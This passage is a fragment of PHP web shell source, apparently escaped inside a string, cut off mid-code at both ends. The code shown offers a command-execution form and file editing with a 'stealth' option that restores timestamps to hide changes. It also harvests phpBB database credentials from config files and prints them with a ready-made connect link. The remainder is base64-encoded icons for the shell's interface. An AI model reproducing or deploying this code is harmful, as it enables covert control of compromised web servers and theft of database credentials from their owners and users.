strtolower(\$ext);\r\n \$rft = \"\";\r\n foreach(\$exeftypes as \$k=>\$v)\r\n {\r\n if (in_array(\$ext,\$v)) {\$rft = \$k; break;}\r\n }\r\n \$cmd = str_replace(\"%f%\",\$f,\$rft);\r\n echo \"<b>Execute file:</b><form action=\\\"\".\$surl.\"\\\" method=POST><input type=hidden name=x value=cmd><input type=\\\"text\\\" name=\\\"cmd\\\" value=\\\"\".htmlspecialchars(\$cmd).\"\\\" size=\\\"\".(strlen(\$cmd)+2).\"\\\"><br>Display in text-area<input type=\\\"checkbox\\\" name=\\\"cmd_txt\\\" value=\\\"1\\\" checked><input type=hidden name=\\\"d\\\" value=\\\"\".htmlspecialchars(\$d).\"\\\"><br><input type=submit name=submit value=\\\"Execute\\\"></form>\";\r\n }\r\n elseif (\$ft == \"sdb\") {echo \"<pre>\"; var_dump(unserialize(base64_decode(\$r))); echo \"</pre>\";}\r\n elseif (\$ft == \"code\") {\r\n if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",\$r)) {\r\n \$arr = explode(\"\\n\",\$r);\r\n if (count(\$arr == 18)) {\r\n include(\$d.\$f);\r\n echo \"<b>phpBB configuration is detected in this file!<br>\";\r\n if (\$dbms == \"mysql4\") {\$dbms = \"mysql\";}\r\n if (\$dbms == \"mysql\") {echo \"<a href=\\\"\".\$surl.\"x=sql&sql_server=\".htmlspecialchars(\$dbhost).\"&sql_login=\".htmlspecialchars(\$dbuser).\"&sql_passwd=\".htmlspecialchars(\$dbpasswd).\"&sql_port=3306&sql_db=\".htmlspecialchars(\$dbname).\"\\\"><b><u>Connect to DB</u></b></a><br><br>\";}\r\n else {echo \"But, you can't connect to forum sql-base, because db-software=\\\"\".\$dbms.\"\\\" is not supported by this shell. Please, report us for fix.\";}\r\n echo \"Parameters for manual connect:<br>\";\r\n \$cfgvars = array(\"dbms\"=>\$dbms,\"dbhost\"=>\$dbhost,\"dbname\"=>\$dbname,\"dbuser\"=>\$dbuser,\"dbpasswd\"=>\$dbpasswd);\r\n foreach (\$cfgvars as \$k=>\$v) {echo htmlspecialchars(\$k).\"='\".htmlspecialchars(\$v).\"'<br>\";}\r\n echo \"</b><hr size=\\\"1\\\" noshade>\";\r\n }\r\n }\r\n echo \"<div style=\\\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: \".\$highlight_background .\";\\\">\";\r\n if (!empty(\$white)) {@ob_clean();}\r\n highlight_file(\$d.\$f);\r\n if (!empty(\$white)) {capriv8exit();}\r\n echo \"</div>\";\r\n }\r\n elseif (\$ft == \"download\") {\r\n @ob_clean();\r\n header(\"Content-type: application/octet-stream\");\r\n header(\"Content-length: \".filesize(\$d.\$f));\r\n header(\"Content-disposition: attachment; filename=\\\"\".\$f.\"\\\";\");\r\n echo \$r;\r\n exit;\r\n }\r\n elseif (\$ft == \"notepad\") {\r\n @ob_clean();\r\n header(\"Content-type: text/plain\");\r\n header(\"Content-disposition: attachment; filename=\\\"\".\$f.\".txt\\\";\");\r\n echo(\$r);\r\n exit;\r\n }\r\n elseif (\$ft == \"img\") {\r\n \$inf = getimagesize(\$d.\$f);\r\n if (!\$white) {\r\n if (empty(\$imgsize)) {\$imgsize = 20;}\r\n \$width = \$inf[0]/100*\$imgsize;\r\n \$height = \$inf[1]/100*\$imgsize;\r\n echo \"<center><b>Size:</b> \";\r\n \$sizes = array(\"100\",\"50\",\"20\");\r\n foreach (\$sizes as \$v) {\r\n echo \"<a href=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=img&d=\".urlencode(\$d).\"&imgsize=\".\$v.\"\\\">\";\r\n if (\$imgsize != \$v ) {echo \$v;}\r\n else {echo \"<u>\".\$v.\"</u>\";}\r\n echo \"</a> \";\r\n }\r\n echo \"<br><br><img src=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=img&white=1&d=\".urlencode(\$d).\"\\\" width=\\\"\".\$width.\"\\\" height=\\\"\".\$height.\"\\\" border=\\\"1\\\"></center>\";\r\n }\r\n else {\r\n @ob_clean();\r\n \$ext = explode(\$f,\".\");\r\n \$ext = \$ext[count(\$ext)-1];\r\n header(\"Content-type: \".\$inf[\"mime\"]);\r\n readfile(\$d.\$f);\r\n exit;\r\n }\r\n }\r\n elseif (\$ft == \"edit\") {\r\n if (!empty(\$submit))\r\n {\r\n if (\$filestealth) {\$stat = stat(\$d.\$f);}\r\n \$fp = fopen(\$d.\$f,\"w\");\r\n if (!\$fp) {echo \"<b>Can't write to file!</b>\";}\r\n else\r\n {\r\n echo \"<b>Saved!</b>\";\r\n fwrite(\$fp,\$edit_text);\r\n fclose(\$fp);\r\n if (\$filestealth) {touch(\$d.\$f,\$stat[9],\$stat[8]);}\r\n \$r = \$edit_text;\r\n }\r\n }\r\n \$rows = count(explode(\"\\r\\n\",\$r));\r\n if (\$rows < 10) {\$rows = 10;}\r\n if (\$rows > 30) {\$rows = 30;}\r\n echo \"<form action=\\\"\".\$surl.\"x=f&f=\".urlencode(\$f).\"&ft=edit&d=\".urlencode(\$d).\"\\\" method=POST><input type=submit name=submit value=\\\"Save\\\"> <input type=\\\"reset\\\" value=\\\"Reset\\\"> <input type=\\\"button\\\" onclick=\\\"location.href='\".addslashes(\$surl.\"x=ls&d=\".substr(\$d,0,-1)).\"';\\\" value=\\\"Back\\\"><br><textarea name=\\\"edit_text\\\" cols=\\\"122\\\" rows=\\\"\".\$rows.\"\\\">\".htmlspecialchars(\$r).\"</textarea></form>\";\r\n }\r\n elseif (!empty(\$ft)) {echo \"<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \\\$GLOBALS.</b></center>\";}\r\n else {echo \"<center><b>Unknown extension (\".\$ext.\"), please, select type manually.</b></center>\";}\r\n}\r\necho \"</div>\\n\";\r\n}\r\n}\r\nelse {\r\n@ob_clean();\r\n\$images = array(\r\n\"arrow_ltr\"=>\r\n\"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==\",\r\n\"back\"=>\r\n\"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8\".\r\n\"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt\".\r\n\"Wg0JADs=\",\r\n\"buffer\"=>\r\n\"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo\".\r\n\"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD\".\r\n\"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==\",\r\n\"change\"=>\r\n\"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+\".\r\n\"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA\".\r\n\"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC\".\r\n\"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA\".\r\n\"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL\".\r\n\"zMshADs=\",\r\n\"delete\"=>\r\n\"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp\".\r\n\"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw\".\r\n\"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv\".\r\n\"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl\".\r\n\"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5\".\r\n\"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4\".\r\n\"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G\".\r\n\"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ\".\r\n\"jwVFHBgiEGQFIgQasYkcSbJQIAA7\",\r\n\"download\"=>\r\n\"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu\".\r\n\"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=\",\r\n\"forward\"=>\r\n\"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8\".\r\n\"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt\".\r\n\"WqsJADs=\",\r\n\"home\"=>\r\n\"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS\".\r\n\"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j\".\r\n\"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=\",\r\n\"mode\"=>\r\n\"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO\".\r\n\"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/\".\r\n\"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=\",\r\n\"search\"=>\r\n\"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//\".\r\n\"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap\".\r\n\"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD\".\r\n\"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr\".\r\n\"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==\",\r\n\"setup\"=>\r\n\"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC\".\r\n\"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA\".\r\n\"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB\".\r\n\"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE\".\r\n\"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==\",\r\n\"small_dir\"=>\r\n\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC\",\r\n\"small_unk\"=>\r\n\"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U\".\r\n\"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo\".\r\n\"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31\".\r\n\"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4\".\r\n\"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP\".\r\n\"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz\".\r\n\"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ\".\r\n\"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io\".\r\n\"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz\".\r\n\"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM\".\r\n\"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC\".\r\n\"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj\".\r\n\"yAsokBkQADs=\",\r\n\"multipage\"=>\"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR\".\r\n\"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==\",\r\n\"sort_asc\"=>\r\n\"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa\".\r\n\"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==\",\r\n\"sort_desc\"=>\r\n\"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb\".\r\n\"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=\",\r\n\"sql_button_drop\"=>\r\n\"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\".\r\n\"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\".\r\n\"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\".\r\n\"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\".\r\n\"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\".\r\n\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\".\r\n\"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\".\r\n\"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\".\r\n\"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\".\r\n\"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\".\r\n\"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\".\r\n\"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\".\r\n\"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA\".\r\n\"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/\".\r\n\"AQEAOw==\",\r\n\"sql_button_empty\"=>\r\n\"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\".\r\n\"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\".\r\n\"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\".\r\n\"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\".\r\n\"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\".\r\n\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\".\r\n\"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\".\r\n\"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\".\r\n\"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\".\r\n\"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\".\r\n\"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\".\r\n\"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\".\r\n\"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA\".\r\n\"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==\",\r\n\"sql_button_insert\"=>\r\n\"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\".\r\n\"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\".\r\n\"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\".\r\n\"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\".\r\n\"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\".\r\n\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\".\r\n\"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\".\r\n\"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\".\r\n\"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\".\r\n\"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\".\r\n\"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\".\r\n\"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\".\r\n\"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA\".\r\n\"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=\",\r\n\"up\"=>\r\n\"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg\".\r\n\"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV\".\r\n\"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==\",\r\n\"write\"=>\r\n\"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\".\r\n\"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61\".\r\n\"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==\",\r\n\"ext_asp\"=>\r\n\"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/\".\r\n\"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI\".\r\n\"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=\",\r\n\"ext_mp3\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU\".\r\n\"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc\".\r\n\"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=\",\r\n\"ext_avi\"=>\r\n\"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM\".\r\n\"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4\".\r\n\"PYXCyg+V2i44XeRmSfYqsGhAAgA7\",\r\n\"ext_cgi\"=>\r\n\"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9\".\r\n\"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6\".\r\n\"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S\".\r\n\"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ\".\r\n\"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\".\r\n\"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM\".\r\n\"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD\".\r\n\"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi\".\r\n\"RYtMAgEAOw==\",\r\n\"ext_cmd\"=>\r\n